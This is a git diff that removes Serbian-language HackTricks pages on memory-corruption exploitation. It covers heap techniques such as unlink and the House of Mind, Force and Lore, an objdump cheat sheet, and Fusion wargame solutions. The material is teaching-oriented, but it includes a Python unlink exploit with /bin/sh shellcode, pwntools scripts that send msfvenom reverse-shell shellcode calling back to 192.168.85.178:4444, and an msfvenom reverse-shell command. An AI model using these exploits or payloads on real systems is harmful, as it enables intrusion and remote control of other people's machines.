|
||||
**Funkcija za enkripciju** je **`PTR_MANGLE`**. **Druge arhitekture** kao što su m68k, mips32, mips64, aarch64, arm, hppa... **ne implementiraju funkciju enkripcije** jer **vraća isto** što je primila kao ulaz. Tako da bi ove arhitekture bile podložne ovom vektoru napada.
|
||||
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
> [!CAUTION]
|
||||
> Danas je veoma **čudno iskoristiti ovo**.
|
||||
|
||||
**`Setjmp()`** omogućava **čuvanje** **konteksta** (registara)\
|
||||
**`longjmp()`** omogućava **obnavljanje** **konteksta**.\
|
||||
**Sačuvani registri** su: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||||
Šta se dešava je da su EIP i ESP prosleđeni funkciji **`PTR_MANGLE`**, tako da su **arhitekture podložne ovom napadu iste kao gore**.\
|
||||
Koriste se za oporavak od grešaka ili prekida.\
|
||||
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, **tako da ako postoji `call ebx`, `call esi` ili `call edi`** unutar pozvane funkcije, kontrola može biti preuzeta. Ili možete takođe modifikovati EBP da modifikujete ESP.
|
||||
|
||||
**VTable i VPTR u C++**
|
||||
|
||||
Svaka klasa ima **Vtable** koja je niz **pokazivača na metode**.
|
||||
|
||||
Svaki objekat klase ima **VPtr** koji je **pokazivač** na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne **prepisivanje** **VPtr** može se **modifikovati** da **pokazuje** na lažnu metodu tako da izvršavanje funkcije ide na shellcode.
|
||||
|
||||
## **Preventivne mere i izbegavanja**
|
||||
|
||||
###
|
||||
|
||||
**Zamena Libsafe**
|
||||
|
||||
Aktivira se sa: LD_PRELOAD=/lib/libsafe.so.2\
|
||||
ili\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
Interceptuju se pozivi nekim nesigurnim funkcijama sa drugim sigurnim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD_PRELOAD ne funkcioniše u binarnim datotekama sa suid).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja gotovo nijedan napad, a još manje u little endian.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt) i pokaže na ulaz u GOT i kopira prvi bajt funkcije koju želite da pozovete (system()). Zatim se radi isto pokazujući na GOT+1 i kopira se 2. bajt system()… Na kraju se poziva adresa sačuvana u GOT koja će biti system()
|
||||
|
||||
**Kave sa chroot()**
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem pod specifičnim poddirektorijumom
|
||||
|
||||
Admin može izaći iz jedne od ovih kave praveći: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Instrumentacija koda**
|
||||
|
||||
Valgrind —> Traži greške\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
|
||||
## **8 Heap Overflows: Osnovni exploit**
|
||||
|
||||
**Delić dodeljen**
|
||||
|
||||
prev_size |\
|
||||
size | —Zaglavlje\
|
||||
\*mem | Podaci
|
||||
|
||||
**Delić slobodan**
|
||||
|
||||
prev_size |\
|
||||
size |\
|
||||
\*fd | Ptr forward chunk\
|
||||
\*bk | Ptr back chunk —Zaglavlje\
|
||||
\*mem | Podaci
|
||||
|
||||
Slobodni delovi su u dvostruko povezanoj listi (bin) i nikada ne mogu postojati dva slobodna dela zajedno (spajaju se)
|
||||
|
||||
U “size” postoje bitovi koji označavaju: Da li je prethodni deo u upotrebi, da li je deo dodeljen putem mmap() i da li deo pripada primarnoj areni.
|
||||
|
||||
Ako prilikom oslobađanja dela neki od susednih bude slobodan, oni se spajaju putem makroa unlink() i novi veći deo se prosleđuje frontlink() da mu umetne odgovarajući bin.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> BK novog dela je onaj koji je imao prethodno slobodan\
|
||||
FD = P->fd; —> FD novog dela je onaj koji je imao prethodno slobodan\
|
||||
FD->bk = BK; —> BK sledećeg dela pokazuje na novi deo\
|
||||
BK->fd = FD; —> FD prethodnog dela pokazuje na novi deo\
|
||||
}
|
||||
|
||||
Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode i P->fd sa adresom do ulaza u GOT ili DTORS minus 12, postiže se:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
I tako se shellcode izvršava prilikom izlaska iz programa.
|
||||
|
||||
Pored toga, 4. izjava unlink() piše nešto i shellcode mora biti prilagođena za ovo:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Ovo izaziva pisanje 4 bajta počevši od 8. bajta shellcode, tako da prva instrukcija shellcode mora biti jmp da preskoči ovo i padne u nekoliko nops koji vode do ostatka shellcode.
|
||||
|
||||
Dakle, exploit se kreira:
|
||||
|
||||
U buffer1 stavljamo shellcode počevši od jmp da padne u nops ili u ostatak shellcode.
|
||||
|
||||
Nakon shellcode stavljamo popunu do dolaska do polja prev_size i size sledećeg dela. Na ovim mestima stavljamo 0xfffffff0 (tako da se prev_size prepisuje da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (tako da kada proveri u 3. delu da li je 2. zapravo slobodan, ide na modifikovani prev_size koji će mu reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali zapravo će ići na 2. - 4 i pomisliti da je 2. deo slobodan. I tada će pozvati **unlink()**.
|
||||
|
||||
Pozivom unlink() koristiće kao P->fd prve podatke 2. dela, tako da će tu biti adresa koju želite da prepišete - 12 (jer će u FD->bk dodati 12 na sačuvanu adresu u FD). I na toj adresi će uneti drugu adresu koju pronađe u 2. delu, koja će nam biti zanimljiva da bude adresa do shellcode (lažni P->bk).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova popune**
|
||||
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev_size = pack("\<I”, 0xfffffff0) #Bit koji označava da je prethodni deo slobodan treba biti 1**
|
||||
|
||||
**fake_size = pack("\<I”, 0xfffffffc) #-4, da bi mislio da je “size” 3. dela 4 bajta iza (pokazuje na prev_size) jer tu gleda da li je 2. deo slobodan**
|
||||
|
||||
**addr_sc = pack("\<I", 0x0804a008 + 8) #U payload na početku ćemo staviti 8 bajtova popune**
|
||||
|
||||
**got_free = pack("\<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja će se prepisati da pokrene shellcode drugi put kada se pozove free)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Kao što je rečeno, payload počinje sa 8 bajtova popune jer tako**
|
||||
|
||||
**payload += prev_size + fake_size + got_free + addr_sc #Modifikuje se 2. deo, got_free pokazuje na gde ćemo sačuvati adresu addr_sc + 12**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() oslobađajući u obrnutom redosledu (wargame)**
|
||||
|
||||
Kontrolišemo 3 uzastopna dela i oslobađaju se u obrnutom redosledu od rezervisanog.
|
||||
|
||||
U tom slučaju:
|
||||
|
||||
U delu c stavljamo shellcode
|
||||
|
||||
Deo a koristimo da prepišemo b tako da size ima bit PREV_INUSE deaktiviran, tako da misli da je deo a slobodan.
|
||||
|
||||
Pored toga, prepisujemo u zaglavlju b size da bude -4.
|
||||
|
||||
Tako, program će misliti da je “a” slobodan i u binu, tako da će pozvati unlink() da ga odveže. Međutim, pošto zaglavlje PREV_SIZE vredi -4, misliće da deo “a” zapravo počinje u b+4. Drugim rečima, izvršiće unlink() na deo koji počinje u b+4, tako da će u b+12 biti pokazivač “fd” i u b+16 će biti pokazivač “bk”.
|
||||
|
||||
Na ovaj način, ako u bk stavimo adresu do shellcode i u fd stavimo adresu do funkcije “puts()”-12, imamo naš payload.
|
||||
|
||||
**Frontlink tehnika**
|
||||
|
||||
Poziva se frontlink kada se nešto oslobađa i nijedan od njegovih susednih delova nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().
|
||||
|
||||
Koristan je ranjivost kada se malloc koji se napada nikada ne oslobađa (free()).
|
||||
|
||||
Potrebno je:
|
||||
|
||||
Buffer koji može da se preplavi sa funkcijom za unos podataka
|
||||
|
||||
Buffer koji je susedni ovom koji mora biti oslobođen i kojem će se modifikovati polje fd njegovog zaglavlja zahvaljujući preplavljivanju prethodnog buffera
|
||||
|
||||
Buffer za oslobađanje sa veličinom većom od 512 ali manjom od prethodnog buffera
|
||||
|
||||
Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev_size ovog
|
||||
|
||||
Na ovaj način, uspevajući da prepišemo u dva malloc-a na neuredan način i u jednom na kontrolisan način, ali da se samo oslobađa taj jedan, možemo napraviti exploit.
|
||||
|
||||
**Ranjivost double free()**
|
||||
|
||||
Ako se pozove free() dva puta sa istim pokazivačem, ostaju dva bina koja pokazuju na istu adresu.
|
||||
|
||||
U slučaju da želite ponovo da koristite jedan, dodeliće se bez problema. U slučaju da želite da koristite drugi, dodeliće se isti prostor, tako da ćemo imati pokazivače “fd” i “bk” lažirane sa podacima koje će prethodna rezervacija napisati.
|
||||
|
||||
**After free()**
|
||||
|
||||
Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.
|
||||
|
||||
## **8 Heap Overflows: Napredni exploit**
|
||||
|
||||
Tehnike Unlink() i FrontLink() su uklonjene modifikovanjem funkcije unlink().
|
||||
|
||||
**The house of mind**
|
||||
|
||||
Samo jedan poziv na free() je potreban da izazove izvršavanje proizvoljnog koda. Važno je potražiti drugi deo koji može biti preplavljen prethodnim i oslobođen.
|
||||
|
||||
Jedan poziv na free() izaziva poziv na public_fREe(mem), ovaj radi:
|
||||
|
||||
mstate ar_ptr;
|
||||
|
||||
mchunkptr p;
|
||||
|
||||
…
|
||||
|
||||
p = mem2chunk(mem); —> Vraća pokazivač na adresu gde počinje deo (mem-8)
|
||||
|
||||
…
|
||||
|
||||
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
\_int_free(ar_ptr, mem);
|
||||
|
||||
}
|
||||
|
||||
U \[1] proverava se polje size bit NON_MAIN_ARENA, koji se može izmeniti da provera vrati true i izvrši heap_for_ptr() koji radi and na “mem” ostavljajući 0 na 2.5 manje bitova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar_ptr (kao da je struktura heap_info)
|
||||
|
||||
Na ovaj način, ako možemo kontrolisati deo, na primer u 0x0804a000 i oslobađa se deo u **0x081002a0**, možemo doći do adrese 0x08100000 i napisati šta god želimo, na primer **0x0804a000**. Kada se ovaj drugi deo oslobodi, otkriće da heap_for_ptr(ptr)->ar_ptr vraća ono što smo napisali u 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se uzima vrednost prvih 4 bajta, ar_ptr)
|
||||
|
||||
Na ovaj način se poziva \_int_free(ar_ptr, mem), tj. **\_int_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int_free(mstate av, Void_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted_chunks(av);\
|
||||
fwd = bck->fd;\
|
||||
p->bk = bck;\
|
||||
p->fd = fwd;\
|
||||
bck->fd = p;\
|
||||
fwd->bk = p;
|
||||
|
||||
..}
|
||||
|
||||
Kao što smo ranije videli, možemo kontrolisati vrednost av, jer je to ono što smo napisali u delu koji će se osloboditi.
|
||||
|
||||
Kao što je definisano unsorted_chunks, znamo da:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Dakle, ako u av->bins\[2] upišemo vrednost \_\_DTOR_END\_\_-12, u poslednjoj instrukciji će se upisati u \_\_DTOR_END\_\_ adresa drugog dela.
|
||||
|
||||
Drugim rečima, u prvom delu moramo na početku više puta staviti adresu \_\_DTOR_END\_\_-12 jer će odatle uzeti av->bins\[2]
|
||||
|
||||
Na adresi na kojoj padne adresa drugog dela sa poslednjih 5 nula, treba napisati adresu do ovog prvog dela kako bi heap_for_ptr() pomislio da je ar_ptr na početku prvog dela i izvukao odatle av->bins\[2]
|
||||
|
||||
U drugom delu i zahvaljujući prvom prepisujemo prev_size sa jump 0x0c i size sa nečim da aktiviramo -> NON_MAIN_ARENA
|
||||
|
||||
Zatim u delu 2 stavljamo gomilu nops i na kraju shellcode
|
||||
|
||||
Na ovaj način će se pozvati \_int_free(TROZO1, TROZO2) i pratiti uputstva da upiše u \_\_DTOR_END\_\_ adresu prev_size TROZO2 koja će preskočiti na shellcode.
|
||||
|
||||
Da bi se primenila ova tehnika, potrebno je da se ispune neki dodatni zahtevi koji dodatno komplikuju payload.
|
||||
|
||||
Ova tehnika više nije primenljiva jer je primenjen gotovo isti patch kao za unlink. Proverava se da li nova adresa na koju se pokazuje takođe pokazuje na nju.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
To je varijanta The house of mind
|
||||
|
||||
Zanima nas da izvršimo sledeći kod do kojeg se dolazi nakon prve provere funkcije \_int_free()
|
||||
|
||||
fb = &(av->fastbins\[fastbin_index(size)] —> Gde je fastbin_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
…
|
||||
|
||||
p->fd = \*fb
|
||||
|
||||
\*fb = p
|
||||
|
||||
Na ovaj način, ako stavimo u “fb” adresu funkcije u GOT, na ovoj adresi će se staviti adresa do prepisanog dela. Za ovo će biti potrebno da arena bude blizu adresa dtors. Tačnije, da av->max_fast bude na adresi koju ćemo prepisati.
|
||||
|
||||
S obzirom na to da smo sa The House of Mind videli da kontrolišemo poziciju av.
|
||||
|
||||
Dakle, ako u polje size stavimo veličinu od 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() će nam vratiti fastbins\[-1], koji će pokazivati na av->max_fast
|
||||
|
||||
U ovom slučaju av->max_fast će biti adresa koja će se prepisati (ne na koju pokazuje, već ta pozicija će biti prepisana).
|
||||
|
||||
Pored toga, mora se ispuniti da je deo susedni oslobođen mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 8, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će shellcode ići u oslobođeni deo, na početku će biti potrebno staviti jmp koji pada u nops).
|
||||
|
||||
Pored toga, taj isti lažni deo mora biti manji od av->system_mem. av->system_mem se nalazi 1848 bajtova dalje.
|
||||
|
||||
Zbog nula u \_DTOR_END\_ i malo adresa u GOT, nijedna adresa ovih sekcija ne može biti prepisana, tako da vidimo kako primeniti fastbin da napadnemo stek.
|
||||
|
||||
Drugi način napada je preusmeriti **av** ka steku.
|
||||
|
||||
Ako modifikujemo size da bude 16 umesto 8, tada: fastbin_index() će nam vratiti fastbins\[0] i možemo iskoristiti ovo da prepišemo stek.
|
||||
|
||||
Za ovo ne sme biti nikakvog canary-a niti čudnih vrednosti na steku, zapravo se moramo nalaziti u ovoj: 4 bajta nula + EBP + RET
|
||||
|
||||
4 bajta nula su potrebni da **av** bude na ovoj adresi i prvi element **av** je mutex koji mora biti 0.
|
||||
|
||||
**av->max_fast** će biti EBP i biće vrednost koja će nam pomoći da preskočimo ograničenja.
|
||||
|
||||
U **av->fastbins\[0]** će se prepisati sa adresom **p** i biće RET, tako da će preskočiti na shellcode.
|
||||
|
||||
Pored toga, u **av->system_mem** (1484 bajta iznad pozicije na steku) biće dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.
|
||||
|
||||
Pored toga, mora se ispuniti da je deo susedni oslobođen mora biti veći od 8 -> S obzirom na to da smo rekli da je size oslobođenog dela 16, u ovom lažnom delu samo treba staviti size veći od 8 (pošto će shellcode ići u oslobođeni deo, na početku će biti potrebno staviti jmp koji pada u nops koji dolaze nakon polja size novog lažnog dela).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti izmenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg preplavljivanja promenljive).
|
||||
|
||||
Tako bismo mogli učiniti da ovaj pokazivač pokazuje gde god želimo. Međutim, ne može svako mesto biti važno, veličina lažnog dela mora biti manja od av->max_fast i specifično jednaka veličini zatraženoj u budućem pozivu malloc()+8. Stoga, ako znamo da nakon ovog ranjivog pokazivača pozivamo malloc(40), veličina lažnog dela mora biti jednaka 48.
|
||||
|
||||
Ako, na primer, program traži od korisnika broj, mogli bismo uneti 48 i usmeriti modifikovani malloc pokazivač na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostane iza, kao da je zaglavlje size). Pored toga, adresa ptr-4+48 mora ispunjavati nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system_mem.
|
||||
|
||||
U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), dodeliće se kao adresa adresa EBP-a. U slučaju da napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati i EBP i EIP sa adresom koju želi.
|
||||
|
||||
Mislim da je to zato što će tako kada ga oslobodi free() zadržati da u adresi koja pokazuje na EBP steka postoji deo savršene veličine za novi malloc() koji se želi rezervisati, tako da mu dodeljuje tu adresu.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
Potrebno je:
|
||||
|
||||
- Preplavljivanje dela koje omogućava prepisivanje wilderness
|
||||
- Poziv malloc() sa veličinom definisanom od strane korisnika
|
||||
- Poziv malloc() čiji podaci mogu biti definisani od strane korisnika
|
||||
|
||||
Prvo što se radi je prepisivanje size dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaka zahtevana memorija dovoljno velika biti obrađena u \_int_malloc() bez potrebe za proširenjem heap-a
|
||||
|
||||
Drugo je izmena av->top da pokazuje na područje memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti \&EIP - 8.
|
||||
|
||||
Moramo prepisati av->top da pokazuje na područje memorije pod kontrolom napadača:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
remainder = chunck_at_offset(victim, nb);
|
||||
|
||||
av->top = remainder;
|
||||
|
||||
Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno zbir te adrese plus količina bajtova zatraženih od malloc(). Tako da ako \&EIP-8 bude na 0xbffff224 i av->top sadrži 0x080c2788, tada će količina koju moramo rezervisati u kontrolisanom malloc-u da bi av->top pokazivao na $EIP-8 za sledeći malloc() biti:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
Tako će se sačuvati u av->top izmenjena vrednost i sledeći malloc će pokazivati na EIP i moći će ga prepisati.
|
||||
|
||||
Važno je znati da je size novog dela wilderness veći od zahteva postavljenog od poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na \&EIP-8, size će biti tačno u polju EBP steka.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**Korupcija SmallBin**
|
||||
|
||||
Oslobođeni delovi se unose u bin u zavisnosti od njihove veličine. Ali pre nego što se unesu, čuvaju se u unsorted bins. Kada se deo oslobodi, ne unosi se odmah u svoj bin, već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodni oslobođeni može poslužiti, vraća se, ali ako se rezerviše veći, oslobođeni deo u unsorted bins se stavlja u svoj odgovarajući bin.
|
||||
|
||||
Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max_fast (72 obično) i manji od MIN_LARGE_SIZE (512).
|
||||
|
||||
Ako u binu postoji deo odgovarajuće veličine za ono što se traži, vraća se taj nakon što se odveže:
|
||||
|
||||
bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo izmeniti.
|
||||
|
||||
bin->bk = bck; Pretposlednji deo postaje poslednji, u slučaju da bck pokazuje na stek, sledećem rezervisanom delu će se dati ova adresa
|
||||
|
||||
bck->fd = bin; Lista se zatvara tako da ovaj pokazuje na bin
|
||||
|
||||
Potrebno je:
|
||||
|
||||
Da se rezervišu dva malloc, tako da se prvom može napraviti overflow nakon što je drugi oslobođen i unet u svoj bin (tj. da se rezerviše malloc veći od drugog dela pre nego što se napravi overflow)
|
||||
|
||||
Da rezervisani malloc kojem se daje adresa izabrana od strane napadača bude pod kontrolom napadača.
|
||||
|
||||
Cilj je sledeći, ako možemo napraviti overflow na heap koji ispod ima već oslobođeni deo i u svom binu, možemo izmeniti njegov pokazivač bk. Ako izmenimo njegov pokazivač bk i ovaj deo postane prvi u listi bina i rezervi se, bin će biti prevaren i reći će mu da je poslednji deo liste (sledeći koji se nudi) na lažnoj adresi koju smo stavili (na stek ili GOT, na primer). Tako da ako se ponovo rezerviše drugi deo i napadač ima dozvole za njega, dobiće deo na željenoj poziciji i moći će da piše u nju.
|
||||
|
||||
Nakon oslobađanja izmenjenog dela, potrebno je rezervisati deo veći od oslobođenog, tako da će izmenjeni deo izaći iz unsorted bins i uneti se u svoj bin.
|
||||
|
||||
Jednom kada je u svom binu, vreme je da mu izmenimo pokazivač bk putem overflow-a da bi pokazivao na adresu koju želimo da prepišemo.
|
||||
|
||||
Tako će bin čekati red da se pozove malloc() dovoljno puta da bi se ponovo koristio izmenjeni bin i prevario bin da pomisli da je sledeći deo na lažnoj adresi. A zatim će se dati deo koji nas zanima.
|
||||
|
||||
Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se izmeniti, oslobađanje ovog dela, rezervacija dela veće veličine koji će se izmeniti, izmena dela (ranjivost), rezervacija dela iste veličine kao ranjivog i rezervacija drugog dela iste veličine i ovaj će biti onaj koji pokazuje na izabranu adresu.
|
||||
|
||||
Da bi se zaštitio od ovog napada, korišćena je tipična provera da deo “nije” lažan: proverava se da li bck->fd pokazuje na victim. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog dela koji se pokazuje na steku pokazuje na victim. Da bi se prešla ova zaštita, napadač bi trebao biti u mogućnosti da na neki način (verovatno putem steka) napiše na odgovarajuću adresu adresu victim. Tako da izgleda kao pravi deo.
|
||||
|
||||
**Korupcija LargeBin**
|
||||
|
||||
Potrebni su isti zahtevi kao ranije i još neki, pored toga, rezervisani delovi moraju biti veći od 512.
|
||||
|
||||
Napad je kao i prethodni, tj. mora se izmeniti pokazivač bk i potrebni su svi ti pozivi na malloc(), ali pored toga, treba izmeniti size izmenjenog dela tako da taj size - nb bude < MINSIZE.
|
||||
|
||||
Na primer, to će učiniti da se stavi u size 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje unsigned)
|
||||
|
||||
Pored toga, uveden je patch da bi se to učinilo još komplikovanijim.
|
||||
|
||||
**Heap Spraying**
|
||||
|
||||
Osnovno se sastoji od rezervisanja što više moguće memorije za heaps i punjenja ovih sa jastučićem nops završenim shellcode-om. Pored toga, kao jastučić se koristi 0x0c. Tako da će se pokušati preskočiti na adresu 0x0c0c0c0c, i tako ako se prepiše neka adresa na koju će se pozvati sa ovim jastučićem, preskočiće se tamo. Osnovna taktika je rezervisati što je više moguće da vidimo da li se prepisuje neki pokazivač i preskočiti na 0x0c0c0c0c očekujući da tamo budu nops.
|
||||
|
||||
**Heap Feng Shui**
|
||||
|
||||
Sastoji se od rezervacija i oslobađanja kako bi se semenirala memorija tako da ostanu rezervisani delovi između slobodnih delova. Buffer koji se preplavljuje će se nalaziti u jednom od jaja.
|
||||
|
||||
**objdump -d izvršni** —> Disas funkcije\
|
||||
**objdump -d ./PROGRAMA | grep FUNKCIJA** —> Dobijanje adrese funkcije\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Da se vidi da je to zapravo naš shellcode i izvuče OpCodes\
|
||||
**objdump -t ./exec | grep varBss** —> Tabela simbola, da se izvuče adresa varijabli i funkcija\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Da se izvuče adresa funkcija iz biblioteka (GOT)\
|
||||
**objdump -d ./exec | grep funcCode**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Izvlači adresu puts koju treba prepisati u GOT\
|
||||
**objdump -D ./exec** —> Disas SVE do ulaza u plt\
|
||||
**objdump -p -/exec**\
|
||||
**Info functions strncmp —>** Info o funkciji u gdb
|
||||
|
||||
## Zanimljivi kursevi
|
||||
|
||||
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **Reference**
|
||||
|
||||
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,60 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Level00
|
||||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. Dobijte offset za modifikaciju EIP
|
||||
2. Stavite adresu shellcode-a u EIP
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
r = remote("192.168.85.181", 20000)
|
||||
|
||||
buf = "GET " # Needed
|
||||
buf += "A"*139 # Offset 139
|
||||
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
|
||||
buf += " HTTP/1.1" # Needed
|
||||
buf += "\x90"*100 # NOPs
|
||||
|
||||
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
||||
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
||||
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
||||
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
||||
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
||||
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
||||
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
||||
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
||||
buf += "\x65\xd9\x0f\x01"
|
||||
|
||||
r.recvline()
|
||||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
# Level01
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
r = remote("192.168.85.181", 20001)
|
||||
|
||||
buf = "GET " # Needed
|
||||
buf += "A"*139 # Offset 139
|
||||
buf += p32(0x08049f4f) # Adress of: JMP esp
|
||||
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
|
||||
buf += " HTTP/1.1" # Needed
|
||||
buf += "\x90"*100 # NOPs
|
||||
|
||||
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
||||
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
||||
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
||||
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
||||
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
||||
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
||||
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
||||
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
||||
buf += "\x65\xd9\x0f\x01"
|
||||
|
||||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,210 +0,0 @@
|
||||
# Alati za Eksploataciju
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metasploit
|
||||
```
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
### Shellcodes
|
||||
```
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
## GDB
|
||||
|
||||
### Instaliraj
|
||||
```
|
||||
apt-get install gdb
|
||||
```
|
